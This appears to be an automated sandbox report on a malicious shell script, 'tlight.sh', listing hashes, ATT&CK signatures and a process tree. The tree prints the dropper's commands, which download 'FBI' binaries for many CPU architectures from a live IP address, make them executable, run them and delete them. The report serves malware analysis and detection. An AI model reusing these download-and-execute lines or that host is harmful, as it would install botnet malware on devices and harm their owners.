54f9d96c9369f699bff8c8ceae4d6f1376616488696be2d361f8c83034eab238

Analysis

max time kernel
22156s
max time network
1811s
platform
linux_armhf
resource
debian9-armhf-en-20211208
resource tags

arch:armhfimage:debian9-armhf-en-20211208kernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
22/08/2022, 02:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
tlight.sh
Size 1KB
Sample220822-df17qscff9
SHA256 54f9d96c9369f699bff8c8ceae4d6f1376616488696be2d361f8c83034eab238
MD5 894e976a4a3f5e6038168b5c4b78f98d
SHA1 13cd9bc7146037714e546063867353cbb1b6ff03
SHA512 4b3ddf27afd2f04d19d879aedf5e083af6d2511d426b6a9ce991ffcebaa4013890b6ab473c68c36c25717ced8c7ef4e89765fdd8407adc3b00be44256a0f7571
MD5 SHA1 SHA512

Score

9^/10

discovery

Malware Config

Signatures

Writes file to system bin folder 1 TTPs 1 IoCs

Hijack Execution Flow

T1574

description	ioc	Process
/bin/busybox	/bin/busybox	cp

Writes DNS configuration 1 TTPs 1 IoCs

Writes data to DNS resolver config file.

Dynamic Resolution

T1568

description	ioc
/etc/resolv.conf	/etc/resolv.conf

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Scanning
T1046

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
/proc/filesystems	/proc/filesystems	cp

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
/tmp/tlight.sh	/tmp/tlight.sh	tlight.sh
/tmp/busybox	/tmp/busybox	cp

/tmp/tlight.sh
/tmp/tlight.sh wget "http://37.44.238.187/tlight.sh;chmod" 777 tlight.sh
1⤵
- Writes file to tmp directory
PID:351
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Writes file to system bin folder
  - Reads runtime system information
  - Writes file to tmp directory
  PID:352
- /usr/bin/wget
  wget http://37.44.238.187/FBI.i486
  2⤵
  PID:354
- /bin/chmod
  chmod 777 FBI.i486
  2⤵
  PID:359
- ./FBI.i486
  ./FBI.i486 tlight.i486.wget
  2⤵
  PID:361
- /bin/rm
  rm -rf FBI.i486
  2⤵
  PID:362
- /usr/bin/wget
  wget http://37.44.238.187/FBI.x86_64
  2⤵
  PID:364
- /bin/chmod
  chmod 777 FBI.x86_64
  2⤵
  PID:366
- ./FBI.x86_64
  ./FBI.x86_64 tlight.x86_64.wget
  2⤵
  PID:367
- /bin/rm
  rm -rf FBI.x86_64
  2⤵
  PID:369
- /usr/bin/wget
  wget http://37.44.238.187/FBI.i586
  2⤵
  PID:370
- /bin/chmod
  chmod 777 FBI.i586
  2⤵
  PID:372
- ./FBI.i586
  ./FBI.i586 tlight.i586.wget
  2⤵
  PID:373
- /bin/rm
  rm -rf FBI.i586
  2⤵
  PID:374
- /usr/bin/wget
  wget http://37.44.238.187/FBI.i686
  2⤵
  PID:375
- /bin/chmod
  chmod 777 FBI.i686
  2⤵
  PID:377
- ./FBI.i686
  ./FBI.i686 tlight.i686.wget
  2⤵
  PID:378
- /bin/rm
  rm -rf FBI.i686
  2⤵
  PID:380
- /usr/bin/wget
  wget http://37.44.238.187/FBI.mips
  2⤵
  PID:381
- /bin/chmod
  chmod 777 FBI.mips
  2⤵
  PID:383
- ./FBI.mips
  ./FBI.mips tlight.mips.wget
  2⤵
  PID:384
- /bin/rm
  rm -rf FBI.mips
  2⤵
  PID:386
- /usr/bin/wget
  wget http://37.44.238.187/FBI.mipsel
  2⤵
  PID:387
- /bin/chmod
  chmod 777 FBI.mipsel
  2⤵
  PID:389
- ./FBI.mipsel
  ./FBI.mipsel tlight.mipsel.wget
  2⤵
  PID:390
- /bin/rm
  rm -rf FBI.mipsel
  2⤵
  PID:391
- /usr/bin/wget
  wget http://37.44.238.187/FBI.arm
  2⤵
  PID:392
- /bin/chmod
  chmod 777 FBI.arm
  2⤵
  PID:394
- ./FBI.arm
  ./FBI.arm tlight.arm.wget
  2⤵
  PID:395
- /bin/rm
  rm -rf FBI.arm
  2⤵
  PID:459
- /usr/bin/wget
  wget http://37.44.238.187/FBI.arm5
  2⤵
  PID:460
- /bin/chmod
  chmod 777 FBI.arm5
  2⤵
  PID:462
- ./FBI.arm5
  ./FBI.arm5 tlight.arm5.wget
  2⤵
  PID:463
- /bin/rm
  rm -rf FBI.arm5
  2⤵
  PID:523
- /usr/bin/wget
  wget http://37.44.238.187/FBI.arm6
  2⤵
  PID:528
- /bin/chmod
  chmod 777 FBI.arm6
  2⤵
  PID:530
- ./FBI.arm6
  ./FBI.arm6 tlight.arm6.wget
  2⤵
  PID:531
- /bin/rm
  rm -rf FBI.arm6
  2⤵
  PID:537
- /usr/bin/wget
  wget http://37.44.238.187/FBI.arm7
  2⤵
  PID:538
- /bin/chmod
  chmod 777 FBI.arm7
  2⤵
  PID:540
- ./FBI.arm7
  ./FBI.arm7 tlight.arm7.wget
  2⤵
  PID:541
- /bin/rm
  rm -rf FBI.arm7
  2⤵
  PID:547
- /usr/bin/wget
  wget http://37.44.238.187/FBI.ppc
  2⤵
  PID:548
- /bin/chmod
  chmod 777 FBI.ppc
  2⤵
  PID:550
- ./FBI.ppc
  ./FBI.ppc tlight.ppc.wget
  2⤵
  PID:551
- /bin/rm
  rm -rf FBI.ppc
  2⤵
  PID:553
- /usr/bin/wget
  wget http://37.44.238.187/FBI.m68k
  2⤵
  PID:556
- /bin/chmod
  chmod 777 FBI.m68k
  2⤵
  PID:560
- ./FBI.m68k
  ./FBI.m68k tlight.m68k.wget
  2⤵
  PID:561
- /bin/rm
  rm -rf FBI.m68k
  2⤵
  PID:562
- /usr/bin/wget
  wget http://37.44.238.187/FBI.sh4
  2⤵
  PID:563
- /bin/chmod
  chmod 777 FBI.sh4
  2⤵
  PID:565
- ./FBI.sh4
  ./FBI.sh4 tlight.sh4.wget
  2⤵
  PID:566
- /bin/rm
  rm -rf FBI.sh4
  2⤵
  PID:568

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hijack Execution Flow

T1574

Privilege Escalation

Hijack Execution Flow

T1574

Defense Evasion

Hijack Execution Flow

T1574

Credential Access

Discovery

Network Service Scanning

T1046

Lateral Movement

Collection

Command and Control

Dynamic Resolution

T1568

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads